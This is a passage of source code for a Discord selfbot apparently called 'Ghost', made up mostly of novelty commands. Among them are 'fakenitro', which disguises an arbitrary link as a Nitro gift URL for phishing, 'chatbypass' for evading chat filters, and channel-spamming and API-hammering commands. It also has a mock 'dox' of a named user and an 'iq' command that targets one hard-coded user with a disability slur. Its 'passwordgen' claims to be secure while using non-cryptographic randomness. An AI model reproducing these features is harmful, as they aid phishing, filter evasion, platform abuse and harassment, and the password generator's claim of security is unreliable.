color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: text = text.replace(" ", "+") image = requests.get(f"https://api.alexflipnote.dev/supreme?text={text}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="trash", description="Put someone in the trash.", usage='trash [@user]') async def trash(ctx, user: discord.User): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: trash = avatarUrl(user.id, user.avatar) face = avatarUrl(Ghost.user.id, Ghost.user.avatar) image = requests.get(f"https://api.alexflipnote.dev/trash?trash={trash}&face={face}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="what", description="Make a what meme.", usage='what [image url]') async def what(ctx, *, imageurl): if CONFIG["api_keys"]["alexflipnote"] == "": if __embedmode__: embed = discord.Embed(description="This command requires an alexflipnote API key.", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command requires an alexflipnote API key.") else: image = requests.get(f"https://api.alexflipnote.dev/what?image={imageurl}", headers={"Authorization": CONFIG["api_keys"]["alexflipnote"]}) imageFile = open("image.png", "wb").write(image.content) file = discord.File("image.png", filename="image.png") if __embedmode__: embed = discord.Embed(color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() embed.set_image(url="attachment://image.png") await ctx.send(file=file, embed=embed) else: await ctx.send(file=file) os.remove("image.png") @Ghost.command(name="purgehack", description="Purge without permissions.", usage="purgehack") async def purgehack(ctx): await ctx.send(f"** **\n"*100) @Ghost.command(name="iq", description="Check how smart a user is.", usage="iq [@user]") async def iq(ctx, user: discord.User): iq = random.randint(45, 135) smart = "" if user.id == 858034873415368715: iq = 45 if iq > 90 and iq < 135: smart = "They're very smart!" if iq > 70 and iq < 90: smart = "They're just below average." if iq > 50 and iq < 70: smart = "They might have some issues." if iq > 40 and iq < 50: smart = "They're severely retarded." if __embedmode__: embed = discord.Embed(title=f"{user.name}'s iq is `{iq}`.", description=f"{smart}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"{user}'s iq is `{iq}`. {smart}") @Ghost.command(name="howskid", description="Check the percentage of a skid.", usage="howskid [item]") async def howskidd(ctx, *, item): percentage = random.randint(0, 100) if __embedmode__: embed = discord.Embed(title="Skid Detection", description=f"{item} is {percentage}% skidded!", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"`{item}` is {percentage}% skidded!") @Ghost.command(name="howgay", description="How gay a user is.", usage="howgay [@user]") async def howgay(ctx, user: discord.User): percentage = str(random.randint(15, 100)) + "%" if __embedmode__: embed = discord.Embed(title=f"🏳️‍🌈 {user.name} is {percentage} gay", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"🏳️‍🌈 {user} is {percentage} gay") @Ghost.command(name="slots", description="Play the slot machine.", usage="slots") async def slots(ctx): if __embedmode__: embed = discord.Embed(title=f"Slots", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() message = await ctx.send(embed=embed) else: message = await ctx.send(f"""```ini [ Slots ] # {__embedfooter__} ```""") emojis = [("🍒", 0.01), ("🍊", 0.02), ("🍎", 0.06), ("💎", 0.08), ("🍆", 0.14), ("🍉", 0.24), ("🎰", 0.36)] emojis2 = [] for emoji, probability in emojis: emojis2 += emoji*int(probability*100) async def game(): amount = 8 delay = 0.5 dots = "." reel_1 = "" reel_2 = "" reel_3 = "" final_reel = "" for _ in range(amount): delay += 0.02 dots += "." if dots == "....": dots = "." reel_1 = random.choice(emojis2) reel_2 = random.choice(emojis2) reel_3 = random.choice(emojis2) final_reel = reel_1 + " | " + reel_2 + " | " + reel_3 if __embedmode__: embed = discord.Embed(title=f"Spinning{dots}", description=final_reel, color=__embedcolour__) embed.timestamp = datetime.now() await message.edit(content="", embed=embed) else: await message.edit(content=f"""```ini [ Spinning{dots} ] {final_reel} # {__embedfooter__} ```""") await asyncio.sleep(delay) if reel_1 == reel_2 and reel_1 == reel_3 and reel_2 == reel_3: if __embedmode__: embed = discord.Embed(title=f"You won!", description=final_reel, color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await message.edit(content="", embed=embed) else: await message.edit(content=f"""```ini [ You won! ] {final_reel} # {__embedfooter__} ```""") else: if __embedmode__: embed = discord.Embed(title=f"You lost ;(", description=final_reel, color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await message.edit(content="", embed=embed) else: await message.edit(content=f"""```ini [ You lost ;( ] {final_reel} # {__embedfooter__} ```""") await game() @Ghost.command(name="socialcredit", description="A users social credit score.", usage="socialcredit [@user]") async def socialcredit(ctx, user: discord.User): credit = random.randint(-5000000, 10000000) if __embedmode__: embed = discord.Embed(description=f"{user.name}'s social credit score is {credit}", color=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"{user.name}'s social credit score is {credit}") @Ghost.command(name="roast", description="Roast a user.", usage="roast [@user]", aliases=["insult"]) async def roast(ctx, user: discord.User): insult = requests.get("https://evilinsult.com/generate_insult.php?lang=en&type=json").json()["insult"] if __embedmode__: embed = discord.Embed(description=insult, colour=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(user.mention, embed=embed) else: await ctx.send(f"Ayo {user.mention}, " + str(insult).lower()) @Ghost.command(name="yomomma", description="Random yo momma joke.", usage="yomomma", aliases=["mom", "mum"]) async def yomomma(ctx): joke = requests.get("https://api.yomomma.info/").json()["joke"] if __embedmode__: embed = discord.Embed(description=joke, colour=__embedcolour__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(joke) @Ghost.command(name="fakeedited", description='"Edit" a message.', usage="fakeedited [message]", aliases=["edited"]) async def fakeedited(ctx, *, message): msg = await ctx.send(message) await msg.edit(content=message + " hehe") await msg.edit(content=message) @Ghost.command(name="pp", description="The length of a user's penis.", usage="pp (@user)", aliases=["dicksize", "cocksize", "penissize"]) async def pp(ctx, user: discord.User = None): size = "8" + "="*random.randint(1, 12) + "D" if user is None: if __embedmode__: embed = discord.Embed(title=f"{Ghost.user.name}'s pp is {size}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"{Ghost.user.name}'s pp size\n{size}") else: if __embedmode__: embed = discord.Embed(title=f"{user.name}'s pp is {size}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"{user.name}'s pp size\n{size}") # @Ghost.command(name="trumptweet", description="Make Donald Trump tweet anything.", usage="trumptweet [tweet]") # async def trumptweet(ctx, *, tweet): # img = Image.open("trump-tweets/assets/bg.png") # draw = ImageDraw.Draw(img) # font = ImageFont.truetype('trump-tweets/assets/roboto.ttf', 30) # draw.text((39, 123),f"{tweet}",(0,0,0),font=font) # randomnum = random.randint(1000, 9999) # img.save(f'trump-tweets/{randomnum}.png') # file = discord.File(f'trump-tweets/{randomnum}.png') # try: # embed = discord.Embed(title='Trump Tweeted...', color=__embedcolour__) # embed.set_image(url=f'attachment://{randomnum}.png') # embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) # embed.timestamp = datetime.now() # await ctx.send(file=file, embed=embed) # except discord.HTTPException: # await ctx.send(file=file) @Ghost.command(name="rainbowrole", description="Kill Discord's API with a sexy rainbow role.", usage="rainbowrole [@role]") async def rainbowrole(ctx, *, role: discord.Role): oldcolour = role.color red = Color("#ff3d3d") pink = Color("#f54287") rainbow = list(red.range_to(pink, 50)) if __embedmode__: embed = discord.Embed(title=f"Rainbow Role", color=__embedcolour__, description=f"{role} now has a rainbow colour.") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed, delete_after=__deletetimeout__) else: await ctx.send(f"""```ini [ Rainbow Role ] {role} now has a rainbow colour. # {__embedfooter__}```""", delete_after=__deletetimeout__) for _ in range(5): for x in rainbow: colour = f'{x}' await role.edit(color=int(colour.replace('#', '0x'), 0)) await role.edit(color=oldcolour) @Ghost.command(name="rembed", description="Kill Discord's API with a sexy rainbow embedded message.", usage="rembed [text]", aliases=["rainbowembed"]) async def rembed(ctx, *, text): if __embedmode__: red = Color("#ff3d3d") pink = Color("#f54287") rainbow = list(red.range_to(pink, 25)) embed = discord.Embed(color=int("#ff3d3d".replace('#', '0x'), 0)) embed.set_author(name=text) msg = await ctx.send(embed=embed) for _ in range(5): for x in rainbow: colour = f'{x}' newembed = discord.Embed(color=int(colour.replace('#', '0x'), 0)) newembed.set_author(name=text) await msg.edit(embed=newembed) await msg.edit(embed=discord.Embed(color=int("#f54287".replace("#", "0x"), 0)).set_author(name=text)) else: await ctx.send("This command can only be used in embed mode.") @Ghost.command(name="coinflip", description="Flip a coin.", usage="coinflip", aliases=["flipacoin"]) async def coinflip(ctx): choices = ["Heads", "Tails"] choice = random.choice(choices) if __embedmode__: embed = discord.Embed(title=f"{choice}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(choice) @Ghost.command(name="dice", description="Roll a dice.", usage="dice", aliases=["rolladice"]) async def dice(ctx): choice = random.randint(1,6) if __embedmode__: embed = discord.Embed(title=f"{choice}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(choice) @Ghost.command(name="rps", description="Rock, paper, scissors.", usage="rps", aliases=["rockpaperscissors"]) async def rps(ctx, move = None): if move is not None: choices = ["Rock", "Paper", "Scissors"] computer = random.choice(choices) try: try: player = move if player == computer: e = discord.Embed(title=f'Tie!', description=f'We chose the same!', color=__embedcolour__) elif player == 'Rock' and computer == 'Scissors': e = discord.Embed(title=f'Player wins!', description=f'{player} smashes {computer}!', color=__embedcolour__) elif player == 'Rock' and computer == 'Paper': e = discord.Embed(title=f'Computer wins!', description=f'{computer} covers {player}!', color=__embedcolour__) elif player == 'Paper' and computer == 'Rock': e = discord.Embed(title=f'Player wins!', description=f'{player} covers {computer}!', color=__embedcolour__) elif player == 'Paper' and computer == 'Scissors': e = discord.Embed(title=f'Computer wins!', description=f'{computer} cuts {player}!', color=__embedcolour__) elif player == 'Scissors' and computer == 'Paper': e = discord.Embed(title=f'Player wins!', description=f'{player} cuts {computer}!', color=__embedcolour__) elif player == "Scissors" and computer == 'Rock': e = discord.Embed(title=f'Computer wins!', description=f'{computer} smashes {player}!', color=__embedcolour__) else: e = discord.Embed(title=f'Invalid play', description=f'Try either Rock, Paper or Scissors.', color=__embedcolour__) e.set_thumbnail(url=__embedimage__) e.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) e.timestamp = datetime.now() await ctx.send(embed=e) except IndexError: e = discord.Embed(title=f'Invalid play', description=f'Try either Rock, Paper or Scissors.', color=__embedcolour__) e.set_thumbnail(url=__embedimage__) e.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) e.timestamp = datetime.now() await ctx.send(embed=e) except: pass else: e = discord.Embed(title=f'Invalid play', description=f'Try either Rock, Paper or Scissors.', color=__embedcolour__) e.set_thumbnail(url=__embedimage__) e.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) e.timestamp = datetime.now() await ctx.send(embed=e) @Ghost.command(name="8ball", description="Ask the magic eight ball a question.", usage="8ball [question]", aliases=["eightball", "magic8ball"]) async def eightball(ctx, *, question): choices = ["As I see it, yes.", "Ask again later.", "Better not tell you now.", "Cannot predict now.", "Concentrate and ask again.", "Don’t count on it.", "It is certain.", "It is decidedly so.", "Most likely.", "My reply is no.", "My sources say no.", "Outlook not so good.", "Outlook good.", "Reply hazy, try again.", "Signs point to yes.", "Very doubtful.", "Without a doubt.", "Yes.", "Yes – definitely.", "You may rely on it."] choice = random.choice(choices) choice = "8ball says, " + choice if __embedmode__: embed = discord.Embed(title=f"{question}", description=choice, color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(question + "\n" + choice) @Ghost.command(name="choice", description="Pick a random choice.", usage="choice [choice1] [choice2]", aliases=["pick"]) async def choice(ctx, choice1, choice2): choices = [choice1, choice2] choice = random.choice(choices) if __embedmode__: embed = discord.Embed(title=f"{choice}", color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(choice) # @Ghost.command(name="wyr", description="Would you rather questions.", usage="wyr") # async def wyr_(ctx): # question, _ = wyr() # embed = discord.Embed(title="Would You Rather", description=question, color=__embedcolour__) # embed.set_thumbnail(url=__embedimage__) # embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) # embed.timestamp = datetime.now() # await ctx.send(embed=embed) # # await message.add_reaction("\U0001F7E6") # # await message.add_reaction("\U0001F7E5") @Ghost.command(name="dox", description="Dox the mentioned user.", usage="dox [@user]") async def dox(ctx, *, user: discord.User): randint1 = random.randint(100, 270) randint2 = random.randint(100, 270) randint3 = random.randint(10, 40) randint4 = random.randint(100, 270) countries = ["Afghanistan","Albania","Algeria","Andorra","Angola","Anguilla","Argentina","Armenia","Aruba","Australia","Austria","Azerbaijan","Bahamas","Bahrain","Bangladesh","Barbados","Belarus","Belgium","Belize","Benin","Bermuda","Bhutan","Bolivia","Bosnia &amp; Herzegovina","Botswana","Brazil","British Virgin Islands","Brunei","Bulgaria","Burkina Faso","Burundi","Cambodia","Cameroon","Cape Verde","Cayman Islands","Chad","Chile","China","Colombia","Congo","Cook Islands","Costa Rica","Cote D Ivoire","Croatia","Cruise Ship","Cuba","Cyprus","Czech Republic","Denmark","Djibouti","Dominica","Dominican Republic","Ecuador","Egypt","El Salvador","Equatorial Guinea","Estonia","Ethiopia","Falkland Islands","Faroe Islands","Fiji","Finland","France","French Polynesia","French West Indies","Gabon","Gambia","Georgia","Germany","Ghana","Gibraltar","Greece","Greenland","Grenada","Guam","Guatemala","Guernsey","Guinea","Guinea Bissau","Guyana","Haiti","Honduras","Hong Kong","Hungary","Iceland","India","Indonesia","Iran","Iraq","Ireland","Isle of Man","Israel","Italy","Jamaica","Japan","Jersey","Jordan","Kazakhstan","Kenya","Kuwait","Kyrgyz Republic","Laos","Latvia","Lebanon","Lesotho","Liberia","Libya","Liechtenstein","Lithuania","Luxembourg","Macau","Macedonia","Madagascar","Malawi","Malaysia","Maldives","Mali","Malta","Mauritania","Mauritius","Mexico","Moldova","Monaco","Mongolia","Montenegro","Montserrat","Morocco","Mozambique","Namibia","Nepal","Netherlands","Netherlands Antilles","New Caledonia","New Zealand","Nicaragua","Niger","Nigeria","Norway","Oman","Pakistan","Palestine","Panama","Papua New Guinea","Paraguay","Peru","Philippines","Poland","Portugal","Puerto Rico","Qatar","Reunion","Romania","Russia","Rwanda","Saint Pierre &amp; Miquelon","Samoa","San Marino","Saudi Arabia","Senegal","Serbia","Seychelles","Sierra Leone","Singapore","Slovakia","Slovenia","South Africa","South Korea","Spain","Sri Lanka","St Kitts &amp; Nevis","St Lucia","St Vincent","St. Lucia","Sudan","Suriname","Swaziland","Sweden","Switzerland","Syria","Taiwan","Tajikistan","Tanzania","Thailand","Timor L'Este","Togo","Tonga","Trinidad &amp; Tobago","Tunisia","Turkey","Turkmenistan","Turks &amp; Caicos","Uganda","Ukraine","United Arab Emirates","United Kingdom","Uruguay","Uzbekistan","Venezuela","Vietnam","Virgin Islands (US)","Yemen","Zambia","Zimbabwe"] computer = ['Windows', 'Mac', 'Linux', 'IOS', 'Android', 'Unknown'] if __embedmode__: embed = discord.Embed(title=f"Doxxed {user.name}", color=__embedcolour__) embed.add_field(name="IP Address", value=f"```{randint1}.{randint2}.{randint3}.{randint4}```") embed.add_field(name="Country", value="```" + random.choice(countries) + "```") embed.add_field(name="Computer", value="```" + random.choice(computer) + "```") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"Doxxed {user.name}\nIP Address: {randint1}.{randint2}.{randint3}.{randint4}\nCountry: " + random.choice(countries) + "\nComputer: " + random.choice(computer)) @Ghost.command(name="fakenitro", description="Hide a link in a nitro URL.", usage="fakenitro [url]") async def fakenitro(ctx, *, url): code = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(16)) nitro = "https://discord.gift/" + code if __embedmode__: embed = discord.Embed(title=f"Nitro", color=__embedcolour__, description=f"[{nitro}]({url})") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command can only be used in embed mode.") @Ghost.command(name="nitrogen", description="Generate a nitro code.", usage="nitrogen", aliases=["nitrogenerate", "generatenitro", "gennitro"]) async def nitrogen(ctx): code = ''.join(random.choice(string.ascii_letters + string.digits ) for i in range(19)) nitro = "https://discord.gift/" + code if __embedmode__: embed = discord.Embed(title=f"Nitro", color=__embedcolour__, description=f"{nitro}") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(nitro) @Ghost.command(name="tokengen", description="Generate a discord user token.", usage="tokengen", aliases=["generatetoken", "tokengenerate", "gentoken"]) async def tokengen(ctx): authorId = str(ctx.author.id) message_bytes = authorId.encode('ascii') base64_bytes = base64.b64encode(message_bytes) token1 = base64_bytes.decode('ascii') token2 = ''.join(random.choice(string.ascii_letters + string.digits ) for i in range(6)) token3 = ''.join(random.choice(string.ascii_letters + string.digits ) for i in range(27)) token = f"{token1}.{token2}.{token3}" if __embedmode__: embed = discord.Embed(title=f"Token Generator", color=__embedcolour__, description=f"{token}") embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(token) @Ghost.command(name="identitygen", description="Generate a fake identity.", usage="identitygen", aliases=["identitygenerate", "generateidentity", "genidentity"]) async def identitygen(ctx): firstname = fake.first_name() lastname = fake.last_name() address = fake.address() job = fake.job() phone = fake.phone_number() emails = ["gmail.com", "yahoo.com", "yahoo.co.uk"] emailchoice = random.choice(emails) email = f"{firstname}.{lastname}@{emailchoice}" birthdate = fake.date_of_birth() genderchoices = ["Male", "Female"] gender = random.choice(genderchoices) if __embedmode__: embed = discord.Embed(title=f"Identity Generator", color=__embedcolour__) embed.add_field(name="Full Name", value=f"{firstname} {lastname}", inline=True) embed.add_field(name="Email", value=f"{email}", inline=True) embed.add_field(name="Phone Number", value=f"{phone}", inline=True) embed.add_field(name="Occupation", value=f"{job}", inline=True) embed.add_field(name="Birthdate", value=f"{birthdate}", inline=True) embed.add_field(name="Gender", value=f"{gender}", inline=True) embed.add_field(name="Address", value=f"{address}", inline=True) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ Identity Generator ] Full Name: {firstname} {lastname} Email: {email} Phone Number: {phone} Occupation: {job} Birthdate: {birthdate} Gender: {gender} Address: {address} # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="passwordgen", description="Generate a secure password.", usage="passwordgen [length]", aliases=["passwordgenerate", "generatepassword", "genpassword"]) async def passwordgen(ctx, length: int): password = ''.join(random.choice(string.ascii_letters) for i in range(length)) if __embedmode__: embed = discord.Embed(title="Password Generator", color=__embedcolour__, description=f"Your generated password is ||{password}||") embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"Password: ||{password}||") @Ghost.command(name="ccgen", description="Generate a fake Credit card.", usage="ccgen", aliases=["creditcardgenerate", "creditcardgen", "generatecc", "ccgenerate", "gencreditcard", "generatecreditcard"]) async def ccgen(ctx): name = names.get_full_name() address = fake.address() cvv = random.randint(100, 999) expiremonth = random.randint(1, 12) expireyear = now.year + random.randint(1, 4) choices = [4,5,6] choice = random.choice(choices) if choice == 4: type = "Visa" typeimg = "https://ghost.cool/assets/visa.png" elif choice == 5: type = "Mastercard" typeimg = "https://ghost.cool/assets/mastercard.png" elif choice == 6: type = "Discover" typeimg = "https://ghost.cool/assets/discover.png" string1 = random.randint(100, 999) string2 = random.randint(1000, 9999) string3 = random.randint(1000, 9999) string4 = random.randint(1000, 9999) if __embedmode__: embed = discord.Embed(title="Credit Card Generator", color=__embedcolour__) embed.add_field(name="Number", value=f"{choice}{string1} {string2} {string3} {string4}", inline=True) embed.add_field(name="Name", value=f"{name}", inline=True) embed.add_field(name="CVV", value=f"{cvv}", inline=True) embed.add_field(name="Expire Date", value=f"{expiremonth}/{expireyear}", inline=True) embed.add_field(name="Type", value=f"{type}", inline=True) embed.add_field(name="Address", value=f"{address}", inline=True) embed.set_thumbnail(url=typeimg) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send(f"""```ini [ Credit Card Generator ] Number: {choice}{string1} {string2} {string3} {string4} Name: {name} CVV: {cvv} Expire Date: {expiremonth}/{expireyear} Type: {type} Address: {address} # {__embedfooter__}```""", delete_after=__deletetimeout__) @Ghost.command(name="cembed", description="Create a custom embedded message.", usage='cembed [title] [description] [colour]', aliases=["customembed"]) async def cembed(ctx, title, description, colour): if __embedmode__: colour = int(colour.replace('#', '0x'), 0) embed = discord.Embed(title=title, description=description, color=colour) await ctx.send(embed=embed) else: await ctx.send("This command can only be used in embed mode.") @Ghost.command(name="embed", description="Create an embedded message.", usage="embed [title]") async def embed(ctx, *, title): if __embedmode__: embed = discord.Embed(title=title, color=__embedcolour__) embed.set_thumbnail(url=__embedimage__) embed.set_footer(text=__embedfooter__, icon_url=__embedfooterimage__) embed.timestamp = datetime.now() await ctx.send(embed=embed) else: await ctx.send("This command can only be used in embed mode.") @Ghost.command(name="leet", description="Turn your text into 1337 text.", usage="leet [text]", aliases=["1337", "leetspeak"]) async def leet(ctx, *, text): text = text.replace(" ", "+") await ctx.send(requests.get(f"https://ghost.cool/api/fun/leet?text={text}").text) @Ghost.command(name="zalgo", description="Unleash the zalgo into your message.", usage="zalgo [text]") async def zalgo(ctx, *, text): text = text.replace(" ", "+") await ctx.send(requests.get(f"https://ghost.cool/api/fun/zalgo?text={text}").text) @Ghost.command(name="upsidedown", description="Flip your text upsidedown.", usage="upsidedown [text]") async def upsidedown(ctx, *, text): text = text.replace(" ", "+") await ctx.send(requests.get(f"https://ghost.cool/api/fun/upsidedown?text={text}").text) @Ghost.command(name="reverse", description="Reverse your text making them look backwards.", usage="reverse [text]", aliases=["backwards"]) async def reverse(ctx, *, text): await ctx.send(''.join(list(reversed(text)))) @Ghost.command(name="ascii", description="Send your message in ascii.", usage="ascii [text]") async def ascii(ctx, *, text): message = text art = requests.get(f'http://artii.herokuapp.com/make?text={urllib.parse.quote_plus(message)}+&font=standard').text await ctx.send(f"```{art}```") @Ghost.command(name="privatemsg", description="Send an encrypted message.", usage="privatemsg [message]", aliases=["b64encode", "privatemessage"]) async def privatemsg(ctx, *, message): message_bytes = message.encode('ascii') base64_bytes = base64.b64encode(message_bytes) base64_message = base64_bytes.decode('ascii') await ctx.send(base64_message) @Ghost.command(name="privatemsgdecode", description="Decode an encrypted message.", usage="privatemsgdecode [message]", aliases=["b64decode", "privatemessagedecode"]) async def privatemsgdecode(ctx, *, message): base64_message = message base64_bytes = base64_message.encode('ascii') message_bytes = base64.b64decode(base64_bytes) message = message_bytes.decode('ascii') await ctx.send(message) @Ghost.command(name="encodebinary", description="Encode a message in binary.", usage="encodebinary [message]", aliases=["binaryencode", "binary"]) async def encodebinary(ctx, *, message): translation = "" @Ghost.command(name="decodebinary", description="Decode a message in binary.", usage="decodebinary [message]", aliases=["binarydecode", "unbinary"]) async def decodebinary(ctx, *, message): translation = "" @Ghost.command(name="encodemorse", description="Encode a message in morsecode", usage="encodemorse [message]", aliases=["morseencode", "morse"]) async def encodemorse(ctx, *, message): text = message.replace(" ", "+") await ctx.send(requests.get(f"https://ghost.cool/api/fun/encodemorse?text={text}").text) @Ghost.command(name="decodemorse", description="Decode a message in morsecode", usage="decodemorse [message]", aliases=["morsedecode", "unmorse"]) async def decodemorse(ctx, *, message): text = message.replace(" ", "+") await ctx.send(requests.get(f"https://ghost.cool/api/fun/decodemorse?text={text}").text) @Ghost.command(name="secret", description="Send all your messages in a secret block.", usage="secret [message]") async def secret(ctx, *, message): await ctx.send('||' + message + '||') @Ghost.command(name="secretletters", description="Put all lettes from your message into separate secret blocks", usage="secretletters [message]") async def secretletters(ctx, *, message): def split(word): return list(word) msg = "" for letter in split(message): msg += "||" + letter + "||" await ctx.send(msg) @Ghost.command(name="bold", description="Send all your messages in bold.", usage="bold [message]") async def bold(ctx, *, message): await ctx.send('**' + message + '**') @Ghost.command(name="italic", description="Send all your messages in italics.", usage="italic [message]") async def italic(ctx, *, message): await ctx.send('*' + message + '*') @Ghost.command(name="cpp", description="Send all your messages in a C++ code block.", usage="cpp [message]") async def cpp(ctx, *, message): await ctx.send(f"""```cpp\n{message}```""") @Ghost.command(name="cs", description="Send all your messages in a C Sharp code block.", usage="cs [message]") async def cs(ctx, *, message): await ctx.send(f"""```cs\n{message}```""") @Ghost.command(name="java", description="Send all your messages in a Java code block.", usage="java [message]") async def java(ctx, *, message): await ctx.send(f"""```java\n{message}```""") @Ghost.command(name="python", description="Send all your messages in a Python code block.", usage="python [message]") async def python(ctx, *, message): await ctx.send(f"""```py\n{message}```""") @Ghost.command(name="js", description="Send all your messages in a JavaScript code block.", usage="js [message]") async def js(ctx, *, message): await ctx.send(f"""```js\n{message}```""") @Ghost.command(name="lua", description="Send all your messages in a Lua code block.", usage="lua [message]") async def lua(ctx, *, message): await ctx.send(f"""```lua\n{message}```""") @Ghost.command(name="php", description="Send all your messages in a PHP code block.", usage="php [message]") async def php(ctx, *, message): await ctx.send(f"""```php\n{message}```""") @Ghost.command(name="html", description="Send all your messages in a HTML code block.", usage="html [message]") async def html(ctx, *, message): await ctx.send(f"""```html\n{message}```""") @Ghost.command(name="css", description="Send all your messages in a CSS code block.", usage="css [message]") async def css(ctx, *, message): await ctx.send(f"""```css\n{message}```""") @Ghost.command(name="yaml", description="Send all your messages in a YAML code block.", usage="yaml [message]") async def yaml(ctx, *, message): await ctx.send(f"""```yaml\n{message}```""") @Ghost.command(name="json", description="Send all your messages in a JSON code block.", usage="json [message]") async def _json(ctx, *, message): await ctx.send(f"""```json\n{message}```""") @Ghost.command(name="aesthetic", description="Send your text s p a c e d out.", usage="aesthetic [text]") async def aesthetic(ctx, *, text): message = text msg = "" for letter in list(message): msg += " " + letter + " " await ctx.send(msg) @Ghost.command(name="animate", description="Animate your text.", usage="animate [text]") async def animate(ctx, *, text): output = "" text = list(text) msg = await ctx.send(text[0]) for letter in text: output = output + letter + "" await msg.edit(content=output) await asyncio.sleep(1) @Ghost.command(name="chatbypass", description="Bypass chat language restrictions.", usage="chatbypass [text]", aliases=["bypasschat"]) async def chatbypass(ctx, *, text): text = text.lower() regional_indicators = { 'a': '𝚊', 'b': '𝚋', 'c': '𝚌', 'd': '𝚍', 'e': '𝚎', 'f': '𝚏', 'g': '𝚐', 'h': '𝚑', 'i': '𝚒', 'j': '𝚓', 'k': '𝚔', 'l': '𝚕', 'm': '𝚖', 'n': '𝚗', 